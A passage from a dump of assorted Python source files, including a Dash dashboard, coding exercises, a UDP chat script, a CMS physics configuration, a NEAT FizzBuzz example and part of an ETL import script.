component_property='value')])\n\ndef build_scatter(site,payload):\n\n\tlow,high = (payload[0], payload[1])\n\tdf = spacex_df #copy not needed\n\t# filter your weights out here since you need to filter it whether all sites or an individual site is selected\n\tfiltered_dfa = df[df['Payload Mass (kg)'].between(low,high)]\n\n\tif site == 'ALL':\n\t\tfig = px.scatter(filtered_dfa,x=\"Payload Mass (kg)\", y=\"class\", color=\"Booster Version Category\", title='Payload vs. Outcome for All Sites')\n\telse:\n\t\t# now we can use our filtered payload weights to filter further by site in our else statement\n\t\tfiltered_dfb = filtered_dfa[filtered_dfa['Launch Site'] == site]\n\t\tfig = px.scatter(filtered_dfb,x=\"Payload Mass (kg)\", y=\"class\", color=\"Booster Version Category\", title='Payload vs. Outcome for' + site)\n\t# now we can return fig once at the end of our function since fig is what we want either way.\n\t# our if else will produce a different fig for us based on the condition, but variable name is the same\n\treturn fig\n# Run the app\nif __name__ == '__main__':\n\tapp.run_server(debug=True, use_reloader=False, port=8051)\n","sub_path":"spacex_dash_app.py","file_name":"spacex_dash_app.py","file_ext":"py","file_size_in_byte":4338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"564441978","text":"#158 - Validação de Senha\n#Critérios de Validação\n#Pelo menos 1 letra entre a-z e 1 letra entre A-Z\n#Pelo menos 1 número entre 1 e 9\n#Pelo menos 1 caractere especial [$#@]\n#Mínimo: 4\n#Máximo: 12\nimport re\n\nsenha = input('Digite a sua senha: ')\nWord = True\n\nwhile Word:\n if len(senha) < 4 or len(senha) > 20:\n break\n elif not re.search('[a-z]', senha):\n break\n elif not re.search('[0-9]', senha):\n break\n elif not re.search('[A-Z]', senha):\n break\n elif not re.search('[$#@]', senha):\n break\n elif re.search('\\s', senha):\n break\n else:\n print('Senha Válida')\n Word = False\n break\n\nif Word:\n print('Senha Inválida!')\n ","sub_path":"Exercícios Gerais/158 - Validação de Senha.py","file_name":"158 - Validação de Senha.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"273414443","text":"from socket import *\nfrom multiprocessing import Queue\nfrom threading import Thread\nimport sys\ndef rec_text(text):\n context,ipinfo = text\n print(\"从%s发送来一条消息:%s\"%(ipinfo,context.decode(\"gb2312\")))\n\ndef send_text(IPINFO,Port):\n while True:\n Text = input(\"请输入要发送的消息:\")\n # if Text == \"quit\":\n # exit()\n udp_socket.sendto(Text.encode(\"gb2312\"),(IPINFO,Port))\n print(\"发送成功\")\nudp_socket = None\ndef main():\n global udp_socket\n text = None\n udp_socket = socket(AF_INET,SOCK_DGRAM)\n udp_socket.bind((\"\",7788))\n\n IPINFO = input(\"请输入对方的ip地址:\")\n Port = int(input(\"请输入对方的端口号:\"))\n #Text = input(\"请输入要发送的消息:\")\n\n send = Thread(target = send_text,args=(IPINFO,Port))\n send.start()\n while True:\n text = udp_socket.recvfrom(1024)\n recv = Thread(target = rec_text,args=(text,))\n recv.start()\n \n\nif __name__ == \"__main__\":\n main()\n","sub_path":"advanced_feature/01-網絡/04-udp聊天室-线程.py","file_name":"04-udp聊天室-线程.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"50755653","text":"import FWCore.ParameterSet.Config as cms\n\n###inputTag labels\nrhoLabel = \"fixedGridRhoFastjetAll\"\nmuLabel = 'slimmedMuons'\nelLabel = 'slimmedElectrons'\njLabel = 'selectedPatJetsAK4PFCHS'\njLabelAK8 = 'selectedPatJetsAK8PFCHS'\njLabelAK8Puppi = 'selectedPatJetsAK8PFPuppi'\n\nrhoLabel = 'fixedGridRhoFastjetAll'\npvLabel = 'offlineSlimmedPrimaryVertices'\nconvLabel = 'reducedEgamma:reducedConversions'\nparticleFlowLabel = 'packedPFCandidates'\nmetLabel = 'slimmedMETs'\nmetNoHFLabel = 'slimmedMETsNoHF'\n\ntriggerResultsLabel = \"TriggerResults\"\ntriggerSummaryLabel = \"hltTriggerSummaryAOD\"\nhltMuonFilterLabel = \"hltL3crIsoL1sMu16Eta2p1L1f0L2f16QL3f40QL3crIsoRhoFiltered0p15\"\nhltPathLabel = \"HLT_Mu8_Ele17_CaloIdT_CaloIsoVL_TrkIdVL_TrkIsoVL\"\nhltElectronFilterLabel = \"hltL1sL1Mu3p5EG12ORL1MuOpenEG12L3Filtered8\"\n\n### Including QGL: ensuring the database onject can be accessed\nqgDatabaseVersion = 'v1' # check https://twiki.cern.ch/twiki/bin/viewauth/CMS/QGDataBaseVersion\n\ntriggerResultsLabel = \"TriggerResults\"\ntriggerSummaryLabel = \"hltTriggerSummaryAOD\"\nhltMuonFilterLabel = \"hltL3crIsoL1sMu16Eta2p1L1f0L2f16QL3f40QL3crIsoRhoFiltered0p15\"\nhltPathLabel = \"HLT_Mu8_Ele17_CaloIdT_CaloIsoVL_TrkIdVL_TrkIsoVL\"\nhltElectronFilterLabel = \"hltL1sL1Mu3p5EG12ORL1MuOpenEG12L3Filtered8\"\n\nmetProcess = \"PAT\"\n\n#-------------------------------------------------------------------------------\n# Jet Settings\n#-------------------------------------------------------------------------------\njLabel\t\t = 'selectedPatJetsAK4PFCHS'\njLabelAK8\t = 'selectedPatJetsAK8PFCHS'\njLabelPuppi\t = 'selectedPatJetsAK4PFPuppi'\njLabelAK8Puppi = 'selectedPatJetsAK8PFPuppi'\njetAlgo = 'AK4PFchs'\njetAlgoPuppi = 'AK4PFPuppi'\njetAlgoAK8 = 'AK8PFchs'\njetAlgoAK8Puppi = 'AK8PFPuppi'\n\ndef load_b2g( process, runMC ):\n if runMC:\n jerEra = \"Fall15_25nsV2_MC\"\n else:\n jerEra = \"Fall15_25nsV2_DATA\"\n\n process.jetUserData = cms.EDProducer(\n 'JetUserData',\n jetLabel = cms.InputTag(jLabel),\n rho = cms.InputTag('fixedGridRhoAll'),\n getJERFromTxt = cms.bool(True),\n jetCorrLabel = cms.string(jetAlgo),\n jerLabel = cms.string(jetAlgo),\n resolutionsFile = cms.string(jerEra+'_PtResolution_'+jetAlgo+'.txt'),\n scaleFactorsFile = cms.string(jerEra+'_SF_'+jetAlgo+'.txt'),\n triggerResults = cms.InputTag(triggerResultsLabel,\"\",\"HLT\"),\n triggerSummary = cms.InputTag(triggerSummaryLabel,\"\",\"HLT\"),\n hltJetFilter = cms.InputTag(\"hltPFHT\"),\n hltPath = cms.string(\"HLT_PFHT800\"),\n hlt2reco_deltaRmax = cms.double(0.2),\n candSVTagInfos = cms.string(\"pfInclusiveSecondaryVertexFinder\"),\n )\n\n process.jetUserDataPuppi = cms.EDProducer(\n 'JetUserData',\n jetLabel = cms.InputTag(jLabelPuppi),\n rho = cms.InputTag('fixedGridRhoAll'),\n getJERFromTxt = cms.bool(True),\n jetCorrLabel = cms.string(jetAlgoPuppi),\n jerLabel = cms.string(jetAlgoPuppi),\n resolutionsFile = cms.string(jerEra+'_PtResolution_'+jetAlgoPuppi+'.txt'),\n scaleFactorsFile = cms.string(jerEra+'_SF_'+jetAlgoPuppi+'.txt'),\n triggerResults = cms.InputTag(triggerResultsLabel,\"\",\"HLT\"),\n triggerSummary = cms.InputTag(triggerSummaryLabel,\"\",\"HLT\"),\n hltJetFilter = cms.InputTag(\"hltPFHT\"),\n hltPath = cms.string(\"HLT_PFHT800\"),\n hlt2reco_deltaRmax = cms.double(0.2),\n candSVTagInfos = cms.string(\"pfInclusiveSecondaryVertexFinder\"),\n )\n\n\n process.jetUserDataAK8 = cms.EDProducer(\n 'JetUserData',\n jetLabel = cms.InputTag(jLabelAK8),\n rho = cms.InputTag('fixedGridRhoAll'),\n getJERFromTxt = cms.bool(True),\n jetCorrLabel = cms.string(jetAlgoAK8),\n jerLabel = cms.string(jetAlgoAK8),\n resolutionsFile = cms.string(jerEra+'_PtResolution_'+jetAlgoAK8+'.txt'),\n scaleFactorsFile = cms.string(jerEra+'_SF_'+jetAlgoAK8+'.txt'),\n ### TTRIGGER ###\n triggerResults = cms.InputTag(triggerResultsLabel,\"\",\"HLT\"),\n triggerSummary = cms.InputTag(triggerSummaryLabel,\"\",\"HLT\"),\n hltJetFilter = cms.InputTag(\"hltAK8PFJetsTrimR0p1PT0p03\"),\n hltPath = cms.string(\"HLT_AK8PFHT650_TrimR0p1PT0p03Mass50\"),\n hlt2reco_deltaRmax = cms.double(0.2),\n candSVTagInfos = cms.string(\"pfInclusiveSecondaryVertexFinder\"),\n )\n\n process.boostedJetUserDataAK8 = cms.EDProducer(\n 'BoostedJetToolboxUserData',\n jetLabel = cms.InputTag('jetUserDataAK8'),\n #topjetLabel = cms.InputTag('patJetsCMSTopTagCHSPacked'),\n vjetLabel = cms.InputTag('selectedPatJetsAK8PFCHSSoftDropPacked'),\n distMax = cms.double(0.8)\n )\n\n\n process.jetUserDataAK8Puppi = cms.EDProducer(\n 'JetUserData',\n jetLabel = cms.InputTag( jLabelAK8Puppi ),\n rho = cms.InputTag('fixedGridRhoAll'),\n getJERFromTxt = cms.bool(True),\n jetCorrLabel = cms.string(jetAlgoAK8Puppi),\n jerLabel = cms.string(jetAlgoAK8Puppi),\n resolutionsFile = cms.string(jerEra+'_PtResolution_'+jetAlgoAK8Puppi+'.txt'),\n scaleFactorsFile = cms.string(jerEra+'_SF_'+jetAlgoAK8Puppi+'.txt'),\n ### TTRIGGER ###\n triggerResults = cms.InputTag(triggerResultsLabel,\"\",\"HLT\"),\n triggerSummary = cms.InputTag(triggerSummaryLabel,\"\",\"HLT\"),\n hltJetFilter = cms.InputTag(\"hltAK8PFJetsTrimR0p1PT0p03\"),\n hltPath = cms.string(\"HLT_AK8PFHT650_TrimR0p1PT0p03Mass50\"),\n hlt2reco_deltaRmax = cms.double(0.2),\n candSVTagInfos = cms.string(\"pfInclusiveSecondaryVertexFinder\"),\n )\n\n process.boostedJetUserDataAK8Puppi = cms.EDProducer(\n 'BoostedJetToolboxUserData',\n jetLabel = cms.InputTag('jetUserDataAK8Puppi'),\n #topjetLabel = cms.InputTag('patJetsCMSTopTagPuppiPacked'),\n vjetLabel = cms.InputTag('selectedPatJetsAK8PFPuppiSoftDropPacked'),\n distMax = cms.double(0.8)\n )\n\n\n\n\n#-------------------------------------------------------------------------------\n# Filters\n#-------------------------------------------------------------------------------\nskimmedPatMuons = cms.EDFilter(\n \"PATMuonSelector\",\n src = cms.InputTag('slimmedMuons'),\n cut = cms.string(\"pt > 0.0 && abs(eta) < 2.4\")\n )\n\n\nskimmedPatPhotons = cms.EDFilter(\n \"PATPhotonSelector\",\n src = cms.InputTag(\"slimmedPhotons\"),\n cut = cms.string(\"pt > 30 && abs(eta) < 2.4\"),\n)\n\nskimmedPatElectrons = cms.EDFilter(\n \"PATElectronSelector\",\n src = cms.InputTag(\"slimmedElectrons\"),\n cut = cms.string(\"pt > 10 && abs(eta) < 2.5\")\n )\n\nskimmedPatMET = cms.EDFilter(\n \"PATMETSelector\",\n src = cms.InputTag(metLabel, \"\", metProcess),\n cut = cms.string(\"\")\n )\n\n## Jet selection is handled by jet tool box\n\n#-------------------------------------------------------------------------------\n# Producers\n#-------------------------------------------------------------------------------\nmuonUserData = cms.EDProducer(\n 'MuonUserData',\n muonLabel = cms.InputTag(\"skimmedPatMuons\"),\n pv = cms.InputTag(pvLabel),\n packedPFCands = cms.InputTag(\"packedPFCandidates\"),\n ### TTRIGGER ###\n triggerResults = cms.InputTag(triggerResultsLabel,\"\",\"HLT\"),\n triggerSummary = cms.InputTag(triggerSummaryLabel,\"\",\"HLT\"),\n hltMuonFilter = cms.InputTag(hltMuonFilterLabel),\n hltPath = cms.string(\"HLT_IsoMu40_eta2p1_v11\"),\n hlt2reco_deltaRmax = cms.double(0.1),\n # mainROOTFILEdir = cms.string(\"../data/\")\n )\n\nelectronUserData = cms.EDProducer(\n 'ElectronUserData',\n eleLabel = cms.InputTag(\"skimmedPatElectrons\"),\n pv = cms.InputTag(pvLabel),\n packedPFCands = cms.InputTag(\"packedPFCandidates\"),\n beamSpot = cms.InputTag(\"offlineBeamSpot\"),\n conversion = cms.InputTag(convLabel),\n rho = cms.InputTag(rhoLabel),\n triggerResults = cms.InputTag(triggerResultsLabel),\n triggerSummary = cms.InputTag(triggerSummaryLabel),\n hltElectronFilter = cms.InputTag(hltElectronFilterLabel), ##trigger matching code to be fixed!\n hltPath = cms.string(\"HLT_Mu8_Ele17_CaloIdT_CaloIsoVL_TrkIdVL_TrkIsoVL\"),\n electronVetoIdMap = cms.InputTag(\"egmGsfElectronIDs:cutBasedElectronID-Spring15-25ns-V1-standalone-veto\"),\n electronLooseIdMap = cms.InputTag(\"egmGsfElectronIDs:cutBasedElectronID-Spring15-25ns-V1-standalone-loose\"),\n electronMediumIdMap = cms.InputTag(\"egmGsfElectronIDs:cutBasedElectronID-Spring15-25ns-V1-standalone-medium\"),\n electronTightIdMap = cms.InputTag(\"egmGsfElectronIDs:cutBasedElectronID-Spring15-25ns-V1-standalone-tight\"),\n electronHEEPIdMap = cms.InputTag(\"egmGsfElectronIDs:heepElectronID-HEEPV60\"),\n eleMediumIdFullInfoMap = cms.InputTag(\"egmGsfElectronIDs:cutBasedElectronID-Spring15-25ns-V1-standalone-medium\"),\n eleIdVerbose = cms.bool(False)\n )\n\n\nphotonUserData = cms.EDProducer(\n 'PhotonUserData',\n rho = cms.InputTag(rhoLabel),\n pholabel = cms.InputTag(\"slimmedPhotons\"),\n phoLooseIdMap = cms.InputTag(\"egmPhotonIDs:cutBasedPhotonID-Spring15-25ns-V1-standalone-loose\"),\n phoMediumIdMap = cms.InputTag(\"egmPhotonIDs:cutBasedPhotonID-Spring15-25ns-V1-standalone-medium\"),\n phoTightIdMap = cms.InputTag(\"egmPhotonIDs:cutBasedPhotonID-Spring15-25ns-V1-standalone-tight\"),\n phoChgIsoMap = cms.InputTag(\"photonIDValueMapProducer:phoChargedIsolation\"),\n phoPhoIsoMap = cms.InputTag(\"photonIDValueMapProducer:phoPhotonIsolation\"),\n phoNeuIsoMap = cms.InputTag(\"photonIDValueMapProducer:phoNeutralHadronIsolation\"),\n full5x5SigmaIEtaIEtaMap = cms.InputTag(\"photonIDValueMapProducer:phoFull5x5SigmaIEtaIEta\")\n )\n","sub_path":"python/b2gProcesses.py","file_name":"b2gProcesses.py","file_ext":"py","file_size_in_byte":10165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"465874614","text":"\"\"\"\n5-bit FizzBuzz example.\n\nInspired by http://joelgrus.com/2016/05/23/fizz-buzz-in-tensorflow/\n\n\"\"\"\n\nfrom __future__ import print_function\nimport os\nimport neat\nimport visualize\n\nimport random\nfrom operator import itemgetter\nimport math\n\ndef binary_encode(i, num_digits):\n return tuple([i >> d & 1 for d in range(num_digits)])\n\ndef fizz_buzz_encode(i):\n if i % 15 == 0: return (0, 0, 0, 1)\n elif i % 5 == 0: return (0, 0, 1, 0)\n elif i % 3 == 0: return (0, 1, 0, 0)\n else: return (1, 0, 0, 0)\n\n# This simple example only cares about divisibility by 3. The rest we'll add later.\ndef fizz_buzz_encode(i):\n if i % 3 == 0: return (1,)\n else: return (0,)\n\ndef fizz_buzz(i, prediction):\n #return [str(i), \"fizz\", \"buzz\", \"fizzbuzz\"][prediction.index(max(prediction))]\n return [str(i), 'fizz'][int(round(prediction[0]))]\n\nbitLength = 5\n\n#fizzbuzz_integers = [random.randint(0,127) for i in range(64)]\nfizzbuzz_integers = [i for i in range(2**bitLength)]\nfizzbuzz_inputs = [binary_encode(i,bitLength) for i in fizzbuzz_integers]\nfizzbuzz_outputs = [fizz_buzz_encode(i) for i in fizzbuzz_integers]\n\ndef eval_genomes(genomes, config):\n for genome_id, genome in genomes:\n exampleLength = float(len(fizzbuzz_inputs))\n genome.fitness = 1.0\n net = neat.nn.FeedForwardNetwork.create(genome, config)\n for xi, xo, integer in zip(fizzbuzz_inputs, fizzbuzz_outputs, fizzbuzz_integers):\n output = net.activate(xi)\n\n guess = output[0]\n answer = xo[0]\n\n if integer < 8:\n penalty = 2**3.0\n else:\n penalty = float(2**(2.0*math.floor(math.log(integer,2)+1.0)-3.0-1.0))\n\n # This fitness function is scaled to give higher weights to smaller numbers.\n # Any number below 8 has a penalty of 1/8.\n # Any number above 8 has a penalty of 1/(2*binary encoding length - 4).\n # If the program is correct in 0 through 7, it gets 1 point.\n # If the program is correct in 8 through 15, it gets 1/2 point.\n # If the program is correct in 16 through 31, it gets 1/4 point.\n # Etc.\n # The total fitness will always range between 0 and 1.\n\n genome.fitness -= (guess - answer) ** 2 / penalty\n\ndef run(config_file):\n # Load configuration.\n config = neat.Config(neat.DefaultGenome, neat.DefaultReproduction,\n neat.DefaultSpeciesSet, neat.DefaultStagnation,\n config_file)\n\n # Create the population, which is the top-level object for a NEAT run.\n p = neat.Population(config)\n\n # Add a stdout reporter to show progress in the terminal.\n p.add_reporter(neat.StdOutReporter(True))\n stats = neat.StatisticsReporter()\n p.add_reporter(stats)\n p.add_reporter(neat.Checkpointer(1000-1))\n\n # Run for up to 300 generations.\n winner = p.run(eval_genomes, 5000)\n\n # Display the winning genome.\n print('\\nBest genome:\\n{!s}'.format(winner))\n\n # Show output of the most fit genome against training data.\n print('\\nOutput:')\n winner_net = neat.nn.FeedForwardNetwork.create(winner, config)\n for xi, xo in zip(fizzbuzz_inputs, fizzbuzz_outputs):\n output = winner_net.activate(xi)\n print(\"input {!r}, expected output {!r}, got {!r}\".format(xi, xo, output))\n\n outputList = [fizz_buzz(i, winner_net.activate(binary_encode(i,bitLength))) for i in range(2**bitLength)];\n\n print(outputList)\n\n node_names = {-1:'A', -2: 'B', -3: 'C', -4: 'D', -5: 'E', -6: 'F', -7: 'G', 0:'Number', 1: 'fizz', 2: 'buzz', 3: 'fizzbuzz'}\n visualize.draw_net(config, winner, True, node_names=node_names)\n visualize.plot_stats(stats, ylog=False, view=True)\n #visualize.plot_species(stats, view=True)\n\n #p = neat.Checkpointer.restore_checkpoint('neat-checkpoint-4')\n #p.run(eval_genomes, 10)\n\n\n\n\nif __name__ == '__main__':\n # Determine path to configuration file. This path manipulation is\n # here so that the script will run successfully regardless of the\n # current working directory.\n local_dir = os.path.dirname(__file__)\n config_path = os.path.join(local_dir, 'config-feedforward-fizzbuzz')\n run(config_path)\n","sub_path":"evolve-feedforward_fizzbuzz.py","file_name":"evolve-feedforward_fizzbuzz.py","file_ext":"py","file_size_in_byte":4218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"187910194","text":"#!/usr/bin/python3\n\nfrom sys import stdin\nfrom itertools import repeat\n\n\ndef fold(a, b):\n a.append((float('inf'),'inf'))\n b.append((float('inf'),'inf'))\n i = 0\n j = 0\n r = []\n for k in range(len(a)+len(b)-2):\n if (a[i][0] <= b[j][0]):\n r.append(a[i])\n i = i + 1\n elif (a[i][0] > b[j][0]):\n r.append(b[j])\n j = j + 1\n return r\n\ndef merge(decks):\n # SKRIV DIN KODE HER\n result = []\n for k in decks:\n result = (fold(result, k))\n a = []\n for t in result:\n a.append(t[1])\n return ''.join(a)\n \n \n\n\ndef main():\n # Read input.\n decks = []\n for line in stdin:\n (index, csv) = line.strip().split(':')\n deck = list(zip(map(int, csv.split(',')), repeat(index)))\n decks.append(deck)\n # Merge the decks and print result.\n print(merge(decks))\n\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"Oving3/kortstokker.py","file_name":"kortstokker.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"365168784","text":"numbers = [5,3,10,100,200,300,400,500,600,700,800,900,50]\n\nmax_num=numbers[0]\nmin_num=numbers[0]\nfor i in range(1,len(numbers)):\n if numbers[i]>max_num:\n max_num=numbers[i]\n if numbers[i]= 10 and int(char) <= 35:\n i = int(char) - 10\n char = '\"{}\"'.format(string.ascii_uppercase[i])\n\n dfa = self.dfa\n accept_states = [\n n for n in dfa.nodes()\n if dfa.nodes.data('shape')[n] == 'doublecircle'\n ]\n edges = dfa.edges.data('label')\n transitions = list(filter(lambda x: x[0] == start, edges))\n for transition in transitions:\n if transition[2] == str(char):\n next_state = transition[1]\n if next_state in accept_states:\n return True, next_state\n else:\n return False, next_state\n\n return False, 'q0'\n\n def states(self):\n return [str(n) for n in self.dfa.nodes()]\n\n def accepting_states(self):\n return [\n str(n) for n in self.dfa.nodes()\n if self.dfa.nodes.data('shape')[n] == 'doublecircle'\n ]\n\n def state_id(self):\n return self.state_ids[self.current_state]\n","sub_path":"mujoco_experiments/baselines/constraint/dfa.py","file_name":"dfa.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"629422321","text":"# Leia um valor inteiro N. Este valor será a quantidade de valores que serão lidos em seguida. Para cada valor lido, mostre uma mensagem em inglês dizendo se este valor lido é par (EVEN), ímpar (ODD), positivo (POSITIVE) ou negativo (NEGATIVE). No caso do valor ser igual a zero (0), embora a descrição correta seja (EVEN NULL), pois por definição zero é par, seu programa deverá imprimir apenas NULL.\n\n# Entrada\n# A primeira linha da entrada contém um valor inteiro N(N < 10000) que indica o número de casos de teste. Cada caso de teste a seguir é um valor inteiro X (-107 < X <107).\n\n# Saída\n# Para cada caso, imprima uma mensagem correspondente, de acordo com o exemplo abaixo. Todas as letras deverão ser maiúsculas e sempre deverá haver um espaço entre duas palavras impressas na mesma linha.\n\ncasos = int(input())\ncont = int(0)\n#completes os espaços vazios com sua solução\nwhile (cont != casos):\n numero = int(input())\n if (numero > 0):\n if ((numero%2) == 0):\n print(\"EVEN POSITIVE\")\n else:\n print(\"ODD POSITIVE\")\n elif (numero < 0):\n if ((numero%-2) == 0):\n print(\"EVEN NEGATIVE\")\n else:\n print(\"ODD NEGATIVE\")\n else:\n print(\"NULL\")\n cont += 1","sub_path":"DIO/Desafio Python - Aceleração Global Dev #14 Cognizant/Par ou Ímpar.py","file_name":"Par ou Ímpar.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"371835123","text":"#!/usr/bin/env python\nimport os\nfrom contextlib import contextmanager\nfrom portal.utils import parse_date\nfrom dotenv import load_dotenv\nfrom portal.database import db\nfrom portal.etl.database import (\n etl_import_database,\n recruit_table,\n recruit_summary_table,\n delegate_table,\n practice_table,\n practice_group_table,\n practice_groups_practices_table,\n practice_status_table,\n exclusion_reason_table,\n)\nfrom portal.models import (\n Recruit,\n RecruitSummary,\n Delegate,\n Practice,\n PracticeGroup,\n PracticeStatus,\n ExclusionReason,\n)\nfrom portal import create_app\n\n\ndef import_practice_status():\n db.engine.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS etl_practice_status (\n id INT PRIMARY KEY,\n name VARCHAR(255)\n );\n \"\"\")\n\n db.engine.execute(\"\"\"\n CREATE UNIQUE INDEX idx__etl_practice_status__name ON etl_practice_status(name);\n \"\"\")\n\n imports = []\n\n with etl_import_database() as r_db:\n for r in r_db.execute(practice_status_table.select()):\n imports.append(PracticeStatus(\n id=r['id'],\n name=r['name'],\n ))\n\n db.session.add_all(imports)\n db.session.flush()\n\n db.session.commit()\n\n\ndef import_recruits():\n db.engine.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS etl_recruit (\n status VARCHAR(255),\n nhs_number VARCHAR(255),\n study_id VARCHAR(255),\n practice_code VARCHAR(255),\n first_name VARCHAR(64),\n last_name VARCHAR(64),\n date_of_birth DATE,\n civicrm_contact_id INT,\n civicrm_case_id INT PRIMARY KEY,\n recruited_date DATE,\n invoice_year VARCHAR(255),\n invoice_quarter VARCHAR(255),\n reimbursed_status VARCHAR(255)\n );\n \"\"\")\n\n db.engine.execute(\"\"\"\n CREATE INDEX idx__etl_recruit__nhs_number ON etl_recruit(nhs_number);\n \"\"\")\n\n db.engine.execute(\"\"\"\n CREATE INDEX idx__etl_recruit__practice_code ON etl_recruit(practice_code);\n \"\"\")\n\n imports = []\n\n with etl_import_database() as r_db:\n for r in r_db.execute(recruit_table.select()):\n imports.append(Recruit(\n status=r['status'],\n nhs_number=r['nhs_number'],\n study_id=r['study_id'],\n practice_code=r['practice_code'],\n first_name=r['first_name'],\n last_name=r['last_name'],\n date_of_birth=r['date_of_birth'],\n civicrm_contact_id=r['civicrm_contact_id'],\n civicrm_case_id=r['civicrm_case_id'],\n recruited_date=r['recruited_date'],\n invoice_year=r['invoice_year'],\n invoice_quarter=r['invoice_quarter'],\n reimbursed_status=r['reimbursed_status'],\n ))\n\n db.session.add_all(imports)\n db.session.flush()\n\n db.session.commit()\n\n\ndef import_recruit_summary():\n db.engine.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS etl_recruit_summary (\n practice_code VARCHAR(100),\n recruited INTEGER,\n excluded INTEGER,\n withdrawn INTEGER,\n last_recruited_date DATE,\n excluded_percentage DECIMAL(30, 4),\n withdrawn_percentage DECIMAL(30, 4)\n );\n \"\"\")\n\n db.engine.execute(\"\"\"\n CREATE INDEX idx__etl_recruit_summary__practice_code ON etl_recruit_summary(practice_code);\n \"\"\")\n\n imports = []\n\n with etl_import_database() as r_db:\n for r in r_db.execute(recruit_summary_table.select()):\n imports.append(RecruitSummary(\n practice_code=r['practice_code'],\n recruited=r['recruited'],\n excluded=int(r['excluded']),\n withdrawn=int(r['withdrawn']),\n last_recruited_date=r['last_recruited_date'],\n excluded_percentage=r['excluded_percentage'],\n withdrawn_percentage=r['withdrawn_percentage'],\n ))\n\n db.session.add_all(imports)\n db.session.flush()\n\n db.session.commit()\n\n\ndef import_delegates():\n db.engine.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS etl_delegate (\n practice_code VARCHAR(255),\n instance INT,\n name VARCHAR(255),\n role VARCHAR(255),\n gcp_trained BIT,\n gv_trained BIT,\n on_delegation_log_yn BIT,\n gv_start_del_log DATE,\n gv_end_del_log DATE,\n rsn_not_on_del_log VARCHAR(500),\n gv_phone_a VARCHAR(100),\n gv_phone_b VARCHAR(100),\n contact_email_add VARCHAR(100),\n primary_contact_yn BIT\n );\n \"\"\")\n\n db.engine.execute(\"\"\"\n CREATE INDEX idx__etl_delegates__practice_code ON etl_delegate(practice_code);\n \"\"\")\n\n imports = []\n\n with etl_import_database() as r_db:\n for r in r_db.execute(delegate_table.select()):\n imports.append(Delegate(\n practice_code=r['practice_code'],\n instance=r['instance'],\n name=r['name'],\n role=r['role'],\n gcp_trained=r['gcp_trained'],\n gv_trained=r['gv_trained'],\n on_delegation_log_yn=r['on_delegation_log_yn'],\n gv_start_del_log=parse_date(r['gv_start_del_log']),\n gv_end_del_log=parse_date(r['gv_end_del_log']),\n gv_phone_a=r['gv_phone_a'],\n gv_phone_b=r['gv_phone_b'],\n contact_email_add=r['contact_email_add'],\n primary_contact_yn=r['primary_contact_yn'],\n ))\n\n db.session.add_all(imports)\n db.session.flush()\n\n db.session.commit()\n\n\ndef import_practices():\n db.engine.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS etl_practice_detail (\n project_id INT,\n ccg INT,\n federation INT,\n code VARCHAR(255),\n name VARCHAR(255),\n street_address VARCHAR(255),\n town VARCHAR(255),\n city VARCHAR(255),\n county VARCHAR(255),\n postcode VARCHAR(255),\n partners VARCHAR(255),\n collab_ag_comp_yn BIT,\n collab_ag_signed_date_str VARCHAR(100),\n isa_comp_yn BIT,\n isa_1_signed_date_str VARCHAR(255),\n isa_1_caldicott_guard_end_str VARCHAR(255),\n agree_66_comp_yn BIT,\n agree_66_signed_date_1_str VARCHAR(255),\n agree_66_end_date_2_str VARCHAR(255),\n genvasc_initiated BIT,\n status_id INT NULL\n );\n \"\"\")\n\n db.engine.execute(\"\"\"\n CREATE INDEX idx__etl_practice_detail__practice_code ON etl_practice_detail(code);\n \"\"\")\n db.engine.execute(\"\"\"\n CREATE INDEX idx__etl_practice_detail__ccg ON etl_practice_detail(ccg);\n \"\"\")\n db.engine.execute(\"\"\"\n CREATE INDEX idx__etl_practice_detail__federation ON etl_practice_detail(federation);\n \"\"\")\n\n imports = []\n\n with etl_import_database() as r_db:\n for r in r_db.execute(practice_table.select()):\n imports.append(Practice(\n project_id=r['project_id'],\n code=r['code'],\n name=r['name'],\n ccg=r['ccg'],\n street_address=r['street_address'],\n town=r['town'],\n city=r['city'],\n county=r['county'],\n postcode=r['postcode'],\n federation=r['federation'],\n partners=r['partners'],\n collab_ag_comp_yn=r['collab_ag_comp_yn'],\n collab_ag_signed_date_str=parse_date(r['collab_ag_signed_date_str']),\n isa_comp_yn=r['isa_comp_yn'],\n isa_1_signed_date_str=parse_date(r['isa_1_signed_date_str']),\n isa_1_caldicott_guard_end_str=parse_date(r['isa_1_caldicott_guard_end_str']),\n agree_66_comp_yn=r['agree_66_comp_yn'],\n agree_66_signed_date_1_str=parse_date(r['agree_66_signed_date_1_str']),\n agree_66_end_date_2_str=parse_date(r['agree_66_end_date_2_str']),\n genvasc_initiated=r['genvasc_initiated'] in ('1', 1),\n status_id=r['status_id'],\n ))\n\n db.session.add_all(imports)\n db.session.flush()\n\n db.session.commit()\n\n\ndef import_practice_groups():\n db.engine.execute(\"\"\"\n CREATE TABLE IF NOT EXISTS etl_practice_group (\n project_id INT,\n identifier VARCHAR(255),\n type VARCHAR(255),\n name VARCHAR(255),\n PRIMARY KEY (project_id, identifier, type)\n );\n \"\"\")\n\n db.engine.execute(\"\"\"\n CREATE INDEX idx__etl_practice_group__type ON etl_practice_group(type);\n \"\"\")\n\n imports = []\n\n with etl_import_database() as r_db:\n for r in r_db.execute(practice_group_table.select()):\n 